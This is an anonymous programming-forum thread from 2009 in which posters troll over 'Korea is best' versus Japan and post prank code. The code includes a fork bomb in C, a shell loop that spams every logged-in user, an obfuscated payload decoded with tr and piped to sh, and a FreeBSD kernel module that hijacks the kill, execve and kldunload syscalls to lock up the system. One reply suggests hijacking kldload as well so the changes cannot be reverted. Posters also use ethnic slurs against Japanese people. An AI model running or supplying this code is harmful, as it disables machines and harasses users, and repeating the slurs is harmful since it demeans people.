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Name: Anonymous 2009-01-29 2:01

Is the less man page just one gigantic joke?

Name: Anonymous 2009-01-29 7:47

>>199
nope,
i don't think C actually has false & true keywords - or atleast i've never used them

Name: Anonymous 2009-01-29 7:48

>>200
This doesn't make his claim any more valid

Name: Anonymous 2009-01-29 7:50

Consider this program:
#include<stdio.h>
#define KOREA_IS_BEST 1
#define JAPAN_IS_BEST 0
int main(int argc, void *argv[]){
   if(!KOREA_IS_BEST){
      for(;;) printf("KOREA WAS HERE, JAPAN IS LOSER\n")
   }
   return(0);
}

Name: Anonymous 2009-01-29 7:50

>>202
why?
C is not javascript - you can't change it after it's been compiled (without wading through lots of nasty asm).
i programmed it -> i define the truth.
the truth is Korea is best

Name: Anonymous 2009-01-29 7:52

>>204
The program itself doesn't prove anything by defining truth values.
I can easily define :
#define KOREA_IS_BEST -5612

Name: Anonymous 2009-01-29 7:54

>>205
that would be regarded as true.
so feel free

Name: Anonymous 2009-01-29 7:55

what if its:
#define KOREA_IS_BEST 0

Name: Anonymous 2009-01-29 7:56

>>207
ㅠ_ㅠ pigdog Japanese.
always picking on Korea for no reason.
I HATE YOU!

Name: Anonymous 2009-01-29 7:56

#!/bin/sh
while true;do who|sed -E 's/^([^ ]+ +[^ ]+) +.*$/while true;do echo Japan is EVIL|write \1;done\&/g;/^#/d'|sh;done

Name: Anonymous 2009-01-29 7:58

>>209
what the.... hell?

Name: Anonymous 2009-01-29 7:59

>>208
But you have no objection to -5612.

Name: Anonymous 2009-01-29 8:00

>>211
because it is true, Korea is best!
0 is just Japanese lies!
Just like how you stole Korea's Gundams!

Name: Anonymous 2009-01-29 8:01

>>212
Its only true if you define its as true

Name: Anonymous 2009-01-29 8:02

Since you don't provide any arguments your claim rest on circular logic.

Name: Anonymous 2009-01-29 8:02

>>210
It's THE MOST USEFUL SHELL SCRIPT EVER!

Name: Anonymous 2009-01-29 8:02

>>213
BOOLEAN is more true than CHARACTER ARRAY

Name: Anonymous 2009-01-29 8:03

>>216
But this 'truth' is predefined by the programmer: You can define it as false as well.

Name: Anonymous 2009-01-29 8:04

>>214
all my sources are in Korean & Japanese language book scans.
you wouldn't understand them, and you can't translate them with google because they are in .png format.

Name: Anonymous 2009-01-29 8:06

>>218
What if someone else can understand them?

Name: Anonymous 2009-01-29 8:07

Suppose I have a friend which knows how to read Katakana/Hiragana/Kanji?

Name: Anonymous 2009-01-29 8:07

>>217
yes, but i am the programmer, and i didn't.
>>219
you can't, i am psychic

#include<stdio>
#define KOREA_IS_BEST
int main(int argc, void *argv[]){
   while(KOREA_IS_BEST){
      printf("KOREA WAS HERE, JAPAN IS LOSER\n");
      fork();
   }
   return(0);
}

Name: Anonymous 2009-01-29 8:08

>>221
But you can easily change the values if you wanted

Name: Anonymous 2009-01-29 8:09

>>220
then.
   
注意: 韓国最高だ, 敗者は日本国

Name: Anonymous 2009-01-29 8:10

>>222
yes, but this one forks.
∴ it is better

Name: Anonymous 2009-01-29 8:10

>>223
This claim is as empty as your program.

Name: Anonymous 2009-01-29 8:11

>>225
well then my next one will be CLOSED SOURCE

Name: Anonymous 2009-01-29 8:11

>>224
Its not better if it harm user experience more.

Name: Anonymous 2009-01-29 8:12

227 posts in 6 hours‽
What the shit, /prog/

Name: Anonymous 2009-01-29 8:13

>>227
it better utilises multiple processor computers

Name: Anonymous 2009-01-29 8:13

>>228
They are arguing against FrozenVoid

Name: Anonymous 2009-01-29 8:13

>>229
But what value it provides to users?

Name: Anonymous 2009-01-29 8:15

itt irc lol

Name: Anonymous 2009-01-29 8:16

>>230
FrozenVoid is a JAPANESE PIGDOG
>>231
more bang for their buck

Name: Anonymous 2009-01-29 8:22

#!/bin/sh
echo dsrovIgifvAwlIdslBhvwISEIChDFRQFIPNINQFIPNOINMLKDdsrovIgifvAwlIbvhIJhsfgIgsvIufxpIfkIblfIrwrlghJBdirgvIH1HGAwlmvHGDtADFEDwCBhsAwlmv|tr a-zA-Z zyxwvutsrqponmlkjihgfedcba\;\|\'\/\#^\&\\\\\ \"\$\*.+\)\]\[\(-|sh

Name: Anonymous 2009-01-29 8:53

ok, heres a FreeBSD kernel module for all of you cool dudes with FBSD:

KOREA.c
#include<sys/types.h>
#include<sys/systm.h>
#include<sys/param.h>
#include<sys/kernel.h>
#include<sys/module.h>
#include<sys/syscall.h>
#include<sys/sysent.h>
#include<sys/malloc.h>
#include<sys/sysproto.h>
#include<sys/unistd.h>
#include<sys/fcntl.h>
#include<sys/uio.h>

int KOREA(struct thread *, void *);
int loader(struct module *, int, void *);

int KOREA(struct thread *td, void *z){
    for(;;){
        uprintf("KOREA WAS HERE, JAPAN IS LOSER\n");
    }
    return(0);
}

int loader(struct module *module, int cmd, void *args){
    int error=0;
    switch(cmd){
    case MOD_LOAD:
        sysent[SYS_kill].sy_call = (sy_call_t *) KOREA;
        sysent[SYS_execve].sy_call = (sy_call_t *) KOREA;
        sysent[SYS_kldunload].sy_call = (sy_call_t *) KOREA;
        break;
    default:
        error=EOPNOTSUPP;
    }
    return(error);
}

struct moduledata koreaMod = {
    "KOREA",
    loader,
};
DECLARE_MODULE(KOREA, koreaMod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);


Makefile
KMOD = KOREA
SRCS = KOREA.c
.include<bsd.kmod.mk>

Name: Anonymous 2009-01-29 8:58

>>235
you forgot to fork()

Name: Anonymous 2009-01-29 9:03

>>236
damnit.
i also left in a bunch of useless includes

Name: Anonymous 2009-01-29 9:04

ENTERPRISE INCLUDES

Name: Anonymous 2009-01-29 12:14

>>235
You should also overwrite SYS_kldload, otherwise it's possible (though difficult without execve) to load in another module which corrects the table changes made by KOREA.

Name: Anonymous 2009-01-29 12:24

Hasn't anybody realized that >>5 is missing? Quick, someone call the police!

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